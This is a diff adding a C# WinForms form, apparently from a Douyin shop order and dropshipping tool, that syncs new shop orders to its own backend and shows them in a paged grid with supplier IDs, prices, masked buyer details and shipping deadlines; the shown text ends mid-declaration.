a/29WxOrder/OrderForms/BuyOrderListForm.cs b/29WxOrder/OrderForms/BuyOrderListForm.cs new file mode 100644 index 0000000..6bc90b6 --- /dev/null +++ b/29WxOrder/OrderForms/BuyOrderListForm.cs @@ -0,0 +1,1751 @@ +using AllBase; +using AllBase.DouYinModel.Result; +using AllBase.Model.Result; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using NPOI.SS.UserModel; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class BuyOrderListForm : Form + { + public MainForm mainform; + + int defaultPageSize = 100; + private string orderSortText = ""; + private string orderSortType = ""; + + public BuyOrderListForm() + { + InitializeComponent(); + } + public void BuyOrderListForm_Load(object sender, EventArgs e) + { + SetDgvHeaders(false); + //new Thread(LocalDecryption).Start(); +#if DEBUG + 删除订单ToolStripMenuItem.Visible = true; +#endif + RefreshPage(1); + } + + private void OrderListDgv_CustomSorted(object sender, string sortName, string sortType = "desc") + { + orderSortText = sortName?.Replace("col_", ""); + orderSortType = sortType; + RefreshPage(); + } + + private void UcPager1_PageTurned(object sender, int page) + { + RefreshPage(page); + } + + public void RefreshPage(int page = -1) + { + if (page != -1) + ucPager1.CurrentPage = page; + Task.Run(() => { ReadServerOrderPager(ucPager1.CurrentPage, defaultPageSize); }); + } + + //解密线程是否运行中 + bool decryptionfunction = false; + //是否解密完成 + bool isdecryption = false; + void LocalDecryption() + { + while (!decryptionfunction) + { + Thread.Sleep(20000); + decryptionfunction = true; + for (int i = 0; i < CollectionClass.orderDataList.Count; i++) + { + DouYinOrderModel dymodel = CollectionClass.orderDataList[i]; + DouShopLoginInfo shop = CollectionClass.DouShopLoginList.Find(x => x.ShopId == dymodel.shop_id.ToString()); + if (BaseClass.isUseSimGetRealAddress && (dymodel.name.Contains("解密失败") || dymodel.mobile.Contains("#1##") || dymodel.mobile == "******")) + { + isdecryption = false; + UserMsgUpdate(dymodel); + Task.Run(() => + { + if (shop != null && dymodel != null) + { + mainform.GetRealAddressSim(shop, dymodel); + } + }); + for (int k = 0; k < 20; k++) + { + if (!isdecryption) + { + Thread.Sleep(1000); + } + } + UserMsgUpdate(dymodel); + } + } + decryptionfunction = false; + } + } + /// + /// 解密成功完成 成功完成 就终止线程中的等待 + /// + public void decyes() + { + isdecryption = true; + } + public void f5dgv() + { + Invoke(new Action(() => + { + DgvOrderList.Rows.Clear(); + for (int i = 0; i < CollectionClass.orderDataList.Count; i++) + { + var douYinOrderModel = CollectionClass.orderDataList[i]; + + TimeSpan ts1 = new TimeSpan(); + if (douYinOrderModel.create_time.Contains("-")) + { + ts1 = new TimeSpan(Convert.ToDateTime(douYinOrderModel.create_time).Ticks); + } + else + { + ts1 = new TimeSpan(Convert.ToDateTime(BaseClass.StampToDateTime(int.Parse(douYinOrderModel.create_time))).Ticks); + } + + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + Bitmap skuImg = GetSkuImage(douYinOrderModel.sku_img); + + var id = DgvOrderList.Rows.Add( + /*"店铺编号"*/ douYinOrderModel.shop_id, + /*"店铺名称"*/ douYinOrderModel.shop_name, + /*"商品标题"*/ douYinOrderModel.title, + /*"上家ID"*/ (string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids), + /*"本店ID"*/ douYinOrderModel.product_id, + /*"描述"*/ douYinOrderModel.c_biz_desc, + /*"规格"*/ douYinOrderModel.sku, + /*"图片"*/ skuImg, + /*"售价"*/ douYinOrderModel.price, + /*"进价"*/ douYinOrderModel.buy_price, + /*"佣金比例"*/ string.IsNullOrEmpty(douYinOrderModel.commission_scale) ? "0.00" : douYinOrderModel.commission_scale, + /*"佣金"*/ string.IsNullOrEmpty(douYinOrderModel.commission) ? "0.00" : douYinOrderModel.commission, + /*"数量"*/ douYinOrderModel.count, + /*"买家订单号"*/ douYinOrderModel.order_id, + /*"买家姓名"*/ douYinOrderModel.name, + /*"买家电话"*/ douYinOrderModel.mobile, + /*"买家地址"*/ douYinOrderModel.address, + /*"订单确认时间"*/ douYinOrderModel.create_time, + /*"延迟发货时间"*/ Convert.ToDateTime(douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), + /*"延迟剩余"*/ ts.Days.ToString() + "天" + ts.Hours.ToString() + "小时" + ts.Minutes.ToString() + "分钟", + "开始拍单", + "手机拍单", + douYinOrderModel.remark); + } + })); + } + + public static Bitmap GetSkuImage(string ImageUrl) + { + Bitmap skuImg = null; + if (!string.IsNullOrEmpty(ImageUrl)) + { + try + { + if (CollectionClass.skuImageCache.Keys.Contains(ImageUrl)) + { + skuImg = CollectionClass.skuImageCache[ImageUrl]; + } + else + { + var img = Image.FromStream(System.Net.WebRequest.Create(ImageUrl).GetResponse().GetResponseStream()); + skuImg = new Bitmap(img, new Size(30, 30)); + + + CollectionClass.skuImageCache[ImageUrl] = skuImg; + } + //while (CollectionClass.skuImageCache.Keys.Count > 1000) + //{ + // CollectionClass.skuImageCache.Remove(CollectionClass.skuImageCache.Keys.First()); + //} + } + catch (Exception) + { + skuImg = null; + } + } + else + { + skuImg = skuImgDefault; + } + return skuImg; + } + + public void outexcel() + { + OutExcel.ExportToExcel(OutExcel.ToDataTable(DgvOrderList)); + } + + public void SetDgvHeaders(bool isEditDgvHeaders = true) + { + if (isEditDgvHeaders) + { + DgvHeaderEditForm df = new DgvHeaderEditForm(this.DgvOrderList); + df.TitleText = "编辑备货中列表表头"; + df.ShowDialog(); + } + DgvHeaderEditForm.SetDgvHeaderVisible(this.DgvOrderList, false); + } + + ConcurrentBag orde_rextra = new ConcurrentBag(); + Dictionary productid_list = new Dictionary(); + + // 读取服务端新增订单的数量 + int newOrderCount = 0; + + //抖店每次读最新单 添加到行 + public void SetRows() + { + bool readorderTemp = false; + + // 读取服务端订单列表 + List lstDouOrderInfo = new List(); + + while (true) + { + Thread.Sleep(100); + + if (!readorderTemp) + { + if (CollectionClass.orderDataList_Temp.Count > 0) + { + readorderTemp = true; + StringBuilder jsonDataSB = new StringBuilder(); + while (CollectionClass.orderDataList_Temp.Count > 0) + { + DouOrderListInfo.Shop_order_listItem orderItemDetail = CollectionClass.orderDataList_Temp[0]; + if (orderItemDetail.order_id == "4902790638234201887") + { + } + if (CollectionClass.orderDataList.Any(x => x.order_id == orderItemDetail.order_id) || CollectionClass.orderSenderDataList.Any(x => x.order_id == orderItemDetail.order_id)) + { + // 已存在此订单,跳过处理。 + //SetOrderEditShowInDgvRows(orderItemDetail, 1); + CollectionClass.orderDataList_Temp.Remove(orderItemDetail); + } + else + { + // 处理子订单 + foreach (DouOrderListInfo.Sku_order_listItem orderChild in orderItemDetail.sku_order_list) + { + string pid = ""; + if (!productid_list.Keys.Contains(orderChild.product_id)) + { + string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + string datax = "&pid=" + orderChild.product_id + "&table=" + (orderChild.product_id % 1024); + string upid = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + if (upid != null && upid.Contains("[]")) + { + Thread.Sleep(500); + upid = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + } + if (upid != null && upid.Contains("[]")) + { + Thread.Sleep(500); + upid = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + } + if (!string.IsNullOrEmpty(upid) && upid != "none" && !pid.Replace(" ", "").Contains("[]")) + productid_list.Add(orderChild.product_id, upid); + else + productid_list.Add(orderChild.product_id, ""); + } + productid_list.TryGetValue(orderChild.product_id, out pid); + + string skuName = ""; + foreach (DouOrderListInfo.SpecItem specdescitem in orderChild.spec) + { + skuName += specdescitem.name + ":" + specdescitem.value + ";"; + } + + jsonDataSB.Append("{"); + jsonDataSB.Append("\"main_order_id\":\"" + orderItemDetail.order_id + "\","); + + + // Value = (douYinOrderModel.create_time == "2000-00-00 00:00:00" ? "2021-01-01 01:0 + // Value = Convert.ToDateTime(douYinOrderModel.create_time == "2000-00-00 00:00:00" + // Value = ts.Days.ToString() + "天" + ts.Hours.ToString() + "小时" + ts.Minutes.ToSt + // lue = "开始拍单", }); + // Value = douYinOrderModel.remark, }); + + jsonDataSB.Append("\"shop_id\":\"" + orderItemDetail.shop_id + "\","); // 店铺编号 + jsonDataSB.Append("\"shop_name\":\"" + GetHtml.UrlEncodeUtf8(orderItemDetail.shop_name) + "\","); // 店铺名称 + jsonDataSB.Append("\"title\":\"" + GetHtml.UrlEncodeUtf8(orderChild.product_name) + "\","); // 商品名称 + jsonDataSB.Append("\"up_product_id\":\"" + pid + "\","); // 上家Id + jsonDataSB.Append("\"product_id\":\"" + orderChild.product_id + "\","); // 商品Id + jsonDataSB.Append("\"c_biz_desc\":\"" + orderChild.c_biz_desc + "\","); // 商品描述 + jsonDataSB.Append("\"sku\":\"" + GetHtml.UrlEncodeUtf8(skuName) + "\","); // 规格 + jsonDataSB.Append("\"sku_img\":\"" + GetHtml.UrlEncodeUtf8(orderChild.product_pic) + "\","); // sku图片 + jsonDataSB.Append("\"price\":\"" + orderChild.pay_amount + "\","); // 售价 + jsonDataSB.Append("\"buy_price\":\"" + "" + "\","); // 进价(拍单价格) + jsonDataSB.Append("\"count\":\"" + orderChild.item_num + "\","); // 数量 + jsonDataSB.Append("\"order_id\":\"" + orderChild.order_id + "\","); // 店铺订单号 + jsonDataSB.Append("\"create_time\":\"" + orderItemDetail.create_time + "\","); // 创建时间 + jsonDataSB.Append("\"order_status\":\"" + orderItemDetail.order_status + "\","); + jsonDataSB.Append("\"express_name\":\"" + "" + "\","); + jsonDataSB.Append("\"express_no\":\"" + "" + "\","); + //jsonDataSB.Append("\"name\":\"" + orderChild.encrypt_post_receiver + "\","); + //jsonDataSB.Append("\"address\":\"" + orderChild.post_addr.encrypt_detail + "\","); + //jsonDataSB.Append("\"mobile\":\"" + orderChild.encrypt_post_tel + "\","); + jsonDataSB.Append("\"name\":\"" + "******" + "\","); // 收件人名称 + jsonDataSB.Append("\"address\":\"" + "******" + "\","); // 收件人地址 + jsonDataSB.Append("\"mobile\":\"" + "******" + "\","); // 收件人手机号 + jsonDataSB.Append("\"order_id_buy\":\"" + "" + "\","); + jsonDataSB.Append("\"order_status_buy\":\"" + "1" + "\","); + jsonDataSB.Append("\"buyer_mobile\":\"" + "" + "\","); + jsonDataSB.Append("\"remark\":\"" + GetHtml.UrlEncodeUtf8(orderItemDetail.seller_words.Replace("\r", "\\r").Replace("\n", "\\n")) + "\","); + jsonDataSB.Append("\"is_update_order\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_order_id\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_time\":\"" + "" + "\","); + jsonDataSB.Append("\"anchor\":\"" + GetHtml.UrlEncodeUtf8(orderChild.author_name) + "\","); + jsonDataSB.Append("\"refund_status\":\"" + "" + "\","); + jsonDataSB.Append("\"buyer_note\":\"" + GetHtml.UrlEncodeUtf8(orderItemDetail.buyer_words.Replace("\r", "\\r").Replace("\n", "\\n")) + "\","); + jsonDataSB.Append("\"send_time\":\"" + orderItemDetail.ship_time + "\","); + jsonDataSB.Append("\"seller_star\":\"" + orderItemDetail.seller_remark_stars + "\","); + jsonDataSB.Append("\"seller_start_time\":\"" + "" + "\","); + jsonDataSB.Append("\"promotion_pay_amount\":\"" + orderItemDetail.promotion_amount + "\","); + jsonDataSB.Append("\"got_pkg\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_pay_status\":\"" + "" + "\","); + jsonDataSB.Append("\"sale_refund_type\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_pay_type\":\"" + "" + "\","); + jsonDataSB.Append("\"aftersale_order_type\":\"" + "" + "\","); + jsonDataSB.Append("\"aftersale_id\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_apply_time\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_update_time\":\"" + orderItemDetail.update_time + "\","); + jsonDataSB.Append("\"refund_amount\":\"" + "" + "\","); + jsonDataSB.Append("\"refund_post_amount\":\"" + "" + "\","); + // 分订单,将订单分配给各个子账户 + DouSubAccountModel douSubAccount = BaseClass.dousubaccountDic[orderItemDetail.shop_id.ToString()].CurrentModel; + jsonDataSB.Append("\"sub_user_id\":\"" + (douSubAccount?.sub_user_id == null ? "0" : douSubAccount?.sub_user_id) + "\""); + jsonDataSB.Append("},"); + + #region 废弃 + // + //jsonDataSB. + //jsonDataSB.Append("},"); + + + + + + + //foreach (DouOrderListInfo.Sku_order_listItem orderDetail in item.sku_order_list) + //{ + // string sku = ""; + // foreach (DouOrderListInfo.SpecItem specdescitem in orderDetail.spec) + // { + // sku += specdescitem.name + ":" + specdescitem.value + ";"; + // } + // string urlx = BaseClass.LoginApiUrl + "?obj=upshopid/upid_dd&act=get"; + // string datax = "&pid=" + orderDetail.product_id + "&table=" + (orderDetail.product_id % 1024); + // string pid = GetHtml.PostUtf8(urlx, UserLogin.GetSignaturex("", "") + datax); + // orderDetail.Name = Name; + // orderDetail.Mobile = "******"; + // orderDetail.Address = "******"; + // StringBuilder sb = new StringBuilder(); + + + //if (!Mobile.Contains("解密失败") && !Mobile.Contains("$1$$") && !Mobile == "******") + //{ + // sb.Append("&decrypt_status=1"); + //} + //else + //{ + // Address = Mobile = Name = orderDetail.Name = "解密失败."; + // orderDetail.Mobile = "解密失败."; + // orderDetail.Address = "解密失败."; + // sb.Append("&decrypt_status=2"); + //} + + //sb.Append("&main_order_id=" + item.order_id); + //sb.Append("&order_id=" + orderDetail.order_id); + //sb.Append("&product_id=" + orderDetail.product_id); + //sb.Append("&shop_id=" + item.shop_id); + //sb.Append("&shop_name=" + item.shop_name); + //sb.Append("&title=" + GetHtml.UrlEncodeUtf8(orderDetail.product_name)); + //sb.Append("&order_status=" + orderDetail.order_status); + //sb.Append("&sku=" + GetHtml.UrlEncodeUtf8(sku)); + //sb.Append("&sku_img=" + orderDetail.product_pic); + //sb.Append("&count=" + orderDetail.item_num); + //sb.Append("&price=" + orderDetail.pay_amount); + //sb.Append("&express_name="); + //sb.Append("&express_no="); + //sb.Append("&c_biz_desc=" + orderDetail.c_biz_desc); + //sb.Append("&name=" + GetHtml.UrlEncodeUtf8(Name)); + //sb.Append("&mobile=" + GetHtml.UrlEncodeUtf8(Mobile)); + //sb.Append("&address=" + GetHtml.UrlEncodeUtf8(Address)); + //sb.Append("&create_time=" + orderDetail.create_time); + //if (pid.Length > 1 && pid != "none" && !pid.Replace(" ", "").Contains("{\"code\": 400".Replace(" ",""))) + //{ + // sb.Append("&up_product_id=" + pid); + //} + //sb.Append("&order_id_buy=");//0已完成 1待拍单 + //sb.Append("&order_status_buy=1");//0已完成 1待拍单 2等待上家发货 + //sb.Append("&buy_price="); + //sb.Append("&buyer_mobile="); + //sb.Append("&remark=" + item.seller_words); + //sb.Append("&is_update_order=0");//1修改状态0不修改状态 + + #endregion + + DouYinOrderModel dymodel = new DouYinOrderModel(); + dymodel.order_id = orderChild.order_id; + dymodel.product_id = orderChild.product_id.ToString(); + dymodel.up_product_id = pid; + dymodel.shop_id = orderItemDetail.shop_id; + dymodel.shop_name = orderItemDetail.shop_name; + dymodel.create_time = BaseClass.StampToDateTime(Convert.ToInt32(orderChild.create_time)).ToString("yyyy-MM-dd HH:mm:ss"); + dymodel.title = orderChild.product_name; + dymodel.order_status = orderChild.order_status; + dymodel.sku = skuName; + dymodel.sku_img = orderChild.product_pic; + dymodel.count = orderChild.item_num; + dymodel.price = (orderChild.pay_amount * 0.01).ToString(); + //dymodel.name = orderChild.encrypt_post_receiver; + //dymodel.address = orderChild.post_addr.encrypt_detail; + //dymodel.mobile = orderChild.encrypt_post_tel; + dymodel.name = "******"; + dymodel.address = "******"; + dymodel.mobile = "******"; + dymodel.c_biz_desc = orderChild.c_biz_desc; + dymodel.order_status_buy = 1; + dymodel.main_order_id = orderItemDetail.order_id; + dymodel.province = orderChild.post_addr.province.name; + dymodel.city = orderChild.post_addr.city.name; + dymodel.area = orderChild.post_addr.town.name; + dymodel.sub_user_id = douSubAccount?.sub_user_id; + dymodel.remark = orderItemDetail.seller_words.Replace("\r", "\\r").Replace("\n", "\\n"); + dymodel.buyer_note = orderItemDetail.buyer_words.Replace("\r", "\\r").Replace("\n", "\\n"); + lstDouOrderInfo.Add(dymodel); + + //temporder tmp = new temporder(); + //tmp.rowindex = rowindex; + //tmp.orderid = orderChild.order_id; + //tmp.imgurl = orderChild.product_pic; + //tmp.productid = orderChild.product_id.ToString(); + //orde_rextra.Add(tmp); + + if (lstDouOrderInfo.Count >= 100) + { + SaveNewOrderToServerAndShow(jsonDataSB.ToString(), lstDouOrderInfo); + lstDouOrderInfo.Clear(); + jsonDataSB = new StringBuilder(); + } + } + CollectionClass.orderDataList_Temp.Remove(orderItemDetail); + } + } + SaveNewOrderToServerAndShow(jsonDataSB.ToString(), lstDouOrderInfo); + lstDouOrderInfo.Clear(); + jsonDataSB = new StringBuilder(); + } + readorderTemp = false; + } + } + } + + /// + /// 将读取到的订单写入服务端并显示新增的订单 + /// + /// + /// + public void SaveNewOrderToServerAndShow(string orderJson, List lst) + { + if (string.IsNullOrEmpty(orderJson)) + return; + + List lstOrderInfo = new List(); + List lstNewOrderInfo = new List(); + lstOrderInfo.AddRange(lst); + string url = BaseClass.DouYinBuildObjString("order&act=sync_order"); + string data = UserLogin.GetSignaturex() + "¶ms=[" + orderJson.Trim(',') + "]"; + //System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch(); + //watch.Start(); // 开始监视代码运行时间 + string sync_order_result = GetHtml.PostUtf8(url, data); + int times = 0; + while (string.IsNullOrEmpty(sync_order_result) || !sync_order_result.Contains("\"code\":200")) + { + if (sync_order_result.Contains("数据格式错误")) + { + //BaseMsgForm.ShowError("订单数据格式解析失败!"); + break; + } + times++; + if (times > 3) + break; + Thread.Sleep(1000); + data = UserLogin.GetSignaturex() + "¶ms=[" + orderJson.Trim(',') + "]"; + sync_order_result = GetHtml.PostUtf8(url, data); + } + //watch.Stop(); // 停止监视 + //TimeSpan timespans = watch.Elapsed; // 获取当前实例测量得出的总时间 + //System.Diagnostics.Debug.WriteLine("发送订单到服务器数据:{0}(毫秒)", timespans.TotalMilliseconds); //总毫秒数 + // 在列表中显示服务端新增的订单 + + foreach (var dyOrder in lstOrderInfo) + { + if (sync_order_result.Contains("\"" + dyOrder.order_id + "\":1")) + { + CollectionClass.orderDataList.Add(dyOrder); + lstNewOrderInfo.Add(dyOrder); + + newOrderCount++; + } + else + { + } + } + if (ucPager1.CurrentPage == 1) + { + ShowDouYinOrderInDgv(lstNewOrderInfo, defaultPageSize); + } + Invoke(new Action(() => + { + if (newOrderCount > 0) + { + this.pnlMessage.Visible = true; + this.pnlMessage.Text = "有新订单" + newOrderCount + "条"; + if (this.pnlMessage.AutoSizeMode == AutoSizeMode.GrowAndShrink) + this.pnlMessage.AutoSizeMode = AutoSizeMode.GrowOnly; + else + this.pnlMessage.AutoSizeMode = AutoSizeMode.GrowAndShrink; + } + })); + } + + public void dgvOrderDtailUpdate() + { + while (true) + { + Thread.Sleep(100); + Task.Run(() => + { + foreach (var item in orde_rextra) + { + string upid = ""; + productid_list.TryGetValue(long.Parse(item.productid), out upid); + if (string.IsNullOrEmpty(upid)) + { + string pid = ""; + string url = BaseClass.DouYinBuildObjString("upid&act=get"); + string html = GetHtml.PostUtf8(url, "pid=" + item.productid + "&" + UserLogin.GetSignaturex()); + if (!string.IsNullOrEmpty(html)) + { + var jArr = JObject.Parse(html)["data"]; + if (jArr.Count() != 0) + { + if (JObject.Parse(html)["data"][0]["default_up_ids"].ToString().Length > 1) + { + pid = JObject.Parse(html)["data"][0]["default_up_ids"].ToString(); + } + } + } + if (pid == "none") + { + pid = ""; + } + productid_list[long.Parse(item.productid)] = pid; + Invoke(new Action(() => + { + if (DgvOrderList.Rows.Count > item.rowindex) + { + DgvOrderList.Rows[item.rowindex].Cells["col_up_product_id"].Value = pid; + } + })); + } + } + + + }); + } + } + + void ReadServerOrderPager(int page = 1, int pageSize = 100) + { + Invoke(new Action(() => + { + ucPager1.Enabled = false; + DgvOrderList.Rows.Clear(); + CollectionClass.orderDataList.Clear(); + })); + ReadServerOrder(out int totalCount, page, pageSize); + Invoke(new Action(() => + { + ucPager1.TotalCount = totalCount; + ucPager1.TotalPage = (int)Math.Ceiling(totalCount * 1.0m / pageSize); + ucPager1.Enabled = true; + })); + } + + /// + /// 读取服务端订单数据 + /// 1 待确认/待支付(订单创建完毕) + /// 103 部分支付 + /// 105 已支付 + /// 2 备货中(待发货) + /// 101 部分发货 + /// 3 已发货(全部发货) + /// 4 已取消 + /// 5 已完成(已收货) + /// 21 发货前退款完结 + /// 22 发货后退款完结 + /// 39 收货后退款完结 + /// + /// 数据总数 + /// 读取页码 + /// 每页条数 + /// 连续读取多少页 + void ReadServerOrder(out int count, int page = 1, int pageSize = 100, int readPages = 1) + { + count = 0; + string url = BaseClass.DouYinBuildObjString("order&act=get"); + + reads: + string data = "&order_status_buy=1&page=" + (page - 1) + "&pageSize=" + pageSize; + // 排序条件 + if (!string.IsNullOrEmpty(orderSortText)) + { + data += "&order_by=" + HttpUtility.UrlEncode(orderSortText, Encoding.UTF8); + } + // 是否正序 + if (!string.IsNullOrEmpty(orderSortType) && orderSortType == "asc") + { + data += "&order_by_asc=asc"; + } + // 搜索条件 + if (!string.IsNullOrEmpty(mainform.txtSearch.Text.Trim())) + { + data += "&search=" + mainform.txtSearch.Text.Trim(); + } + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex("", "") + data); + if (string.IsNullOrEmpty(html) || !html.Contains("\"data\"")) + { + html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex("", "") + data); + if (string.IsNullOrEmpty(html) || !html.Contains("\"data\"")) + return; + } + var jObject = JObject.Parse(html); + string code = jObject["code"].ToString(); + if (code != "0" && code != "200" && code != "10000") + { + return; + } + var jArr = jObject["data"]["list"]; + count = Convert.ToInt32(jObject["data"]["count"]); + List lstDouYinOrder = new List(); + foreach (JObject jObj in jArr) + { + string orderStr = jObj.ToString(); + DouYinOrderModel douYinOrderModel = JsonConvert.DeserializeObject(orderStr.Replace("\r\n", "")); + DouYinOrderModel listorderModel = null; + try + { + listorderModel = CollectionClass.orderDataList.Find(x => x.order_id == douYinOrderModel.order_id); + + if (listorderModel == null) + { + #region 从服务器读取订单后 去抖店拉取最新状态,不需要了 改为拍单的时候读取最新状态 + //if (shop != null) + //{ + // DouyinApi dyapi = new DouyinApi(shop); + // Dictionary dic = new Dictionary() { }; + // dic.Add("shop_order_id", douYinOrderModel.order_id); + // dyapi.JsonData = dic; + // string htmljm = dyapi.GetOrderDetail(); + // if (htmljm == "") + // { + // continue; + // } + // string codes = JObject.Parse(htmljm)["code"].ToString(); + // if (codes == "0" || codes == "200" || codes == "10000") + // { + // //3 已发货(全部发货) + // //2 备货中(待发货) + // order_status = JObject.Parse(htmljm)["data"]["shop_order_detail"]["order_status"].ToString(); + // if (order_status != "2") + // { + // StringBuilder sb = new StringBuilder(); + // //0已完成 1待拍单 2等待上家发货 + // if (order_status == "3") + // { + // //mainform.sendOrderForms.SetOrderEditShowInDgvRows(douYinOrderModel, 1); + // //CollectionClass.orderSenderDataList.Add(douYinOrderModel); + // sb.Append("&order_id=" + douYinOrderModel.order_id); + // sb.Append("&order_status_buy=0"); + // sb.Append("&is_update_order=1");//1修改状态0不修改状态 + // string url = BaseClass.DouYinBuildObjString("order&act=update"); + // GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + // } + // else//都改为已完成 + // { + // sb.Append("&order_id=" + douYinOrderModel.order_id); + // sb.Append("&order_status_buy=0"); + // sb.Append("&is_update_order=1");//1修改状态0不修改状态 + // string url = BaseClass.DouYinBuildObjString("order&act=update"); + // GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + sb.ToString()); + // } + // continue; + // } + // } + //} + #endregion + + CollectionClass.orderDataList.Add(douYinOrderModel); + lstDouYinOrder.Add(douYinOrderModel); + } + } + catch (Exception ex) + { + } + } + + ShowDouYinOrderInDgv(lstDouYinOrder, pageSize); + + readPages--; + if (readPages > 0) + { + page++; + goto reads; + } + } + + public static Bitmap skuImgDefault = (Bitmap)Properties.Resources.ResourceManager.GetObject("default_pic"); //Image.FromFile("./Resources/default_pic.png") as Bitmap; + void ShowDouYinOrderInDgv(List lstDouYinOrder, int pageSize = 100) + { + var tasklst = new List(); + Dictionary dic = new Dictionary(); + Invoke(new Action(() => + { + for (int i = lstDouYinOrder.Count - 1; i >= 0; i--) + { + var douYinOrderModel = lstDouYinOrder[i]; + + TimeSpan ts1 = new TimeSpan(Convert.ToDateTime(douYinOrderModel.create_time == "2000-00-00 00:00:00" ? DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") : douYinOrderModel.create_time).Ticks); + TimeSpan ts2 = new TimeSpan(DateTime.Now.AddHours(-48).Ticks); + TimeSpan ts = ts1.Subtract(ts2).Duration(); + + DataGridViewRow r = new DataGridViewRow(); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.shop_id, }); /*"店铺编号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.shop_name, }); /*"店铺名称"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.title, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = (string.IsNullOrEmpty(douYinOrderModel.default_up_ids) ? douYinOrderModel.up_product_id : douYinOrderModel.default_up_ids), }); /*"上家ID"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.product_id, }); /*"本店ID"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.c_biz_desc, }); /*"描述"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.sku, }); /*"规格"*/ + r.Cells.Add(new DataGridViewImageCell() { Value = skuImgDefault, }); /*"图片"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.price, }); /*"售价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.buy_price, }); /*"进价"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.commission_scale) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission_scale, }); /*"佣金比例"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = string.IsNullOrEmpty(douYinOrderModel.commission) || douYinOrderModel.c_biz_desc != "精选联盟" ? "0.00" : douYinOrderModel.commission, }); /*"佣金"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.count, }); /*"数量"*/ + r.Cells.Add(new DataGridViewLinkCell() { Value = douYinOrderModel.order_id, }); /*"买家订单号"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.name, }); /*"买家姓名"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.mobile, }); /*"买家电话"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.address, }); /*"买家地址"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = (douYinOrderModel.create_time == "2000-00-00 00:00:00" ? "2021-01-01 01:01:01" : douYinOrderModel.create_time), }); /*"订单确认时间"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = Convert.ToDateTime(douYinOrderModel.create_time == "2000-00-00 00:00:00" ? DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss") : douYinOrderModel.create_time).AddHours(48).ToString("yyyy-MM-dd HH:mm:ss"), }); /*"延迟发货时间"*/ + r.Cells.Add(new DataGridViewTextBoxCell() { Value = (ts2 > ts1 ? "超 " : "") + ts.Days.ToString("D2") + "天" + ts.Hours.ToString("D2") + "时" + ts.Minutes.ToString("D2") + "分", }); /*"延迟剩余"*/ + r.Cells.Add(new DataGridViewLinkCell() { Value = "开始拍单", }); + r.Cells.Add(new DataGridViewLinkCell() { Value = "手机拍单", }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.remark, }); + r.Cells.Add(new DataGridViewTextBoxCell() { Value = douYinOrderModel.buyer_note, }); + if (DgvOrderList.Rows.Count > 0) + DgvOrderList.Rows.Insert(0, r); + else + DgvOrderList.Rows.Add(r); + + // 批量一次性上家ID + if (SetOnceOnlyUpIdForm.dicOnceUpId.Keys.Contains(r.Cells["col_order_id"].Value.ToString())) + { + r.Cells["col_up_product_id"].Value = SetOnceOnlyUpIdForm.dicOnceUpId[r.Cells["col_order_id"].Value.ToString()]; + r.Cells["col_up_product_id"].Style.ForeColor = Color.FromArgb(0, 0, 255); + } + + while (DgvOrderList.Rows.Count > pageSize) + { + this.DgvOrderList.Rows.RemoveAt(this.DgvOrderList.Rows.Count - 1); + } + + dic.Add(r, douYinOrderModel.sku_img); + } + DgvOrderList.ClearSelection(); + })); + + foreach (var r in dic.Keys) + { + var t = Task.Run(() => + { + try + { + Bitmap skuImg = GetSkuImage(dic[r]); + if (DgvOrderList.Rows.Contains(r)) + r.Cells["productImgSku"].Value = skuImg; + } + catch (Exception ex) + { + } + }); + tasklst.Add(t); + if (tasklst.Count >= 100) + { + Task.WaitAll(tasklst.ToArray()); + tasklst = new List(); + } + } + Task.WaitAll(tasklst.ToArray()); + } + + + + + + + /// + /// 点击行列 + /// + private 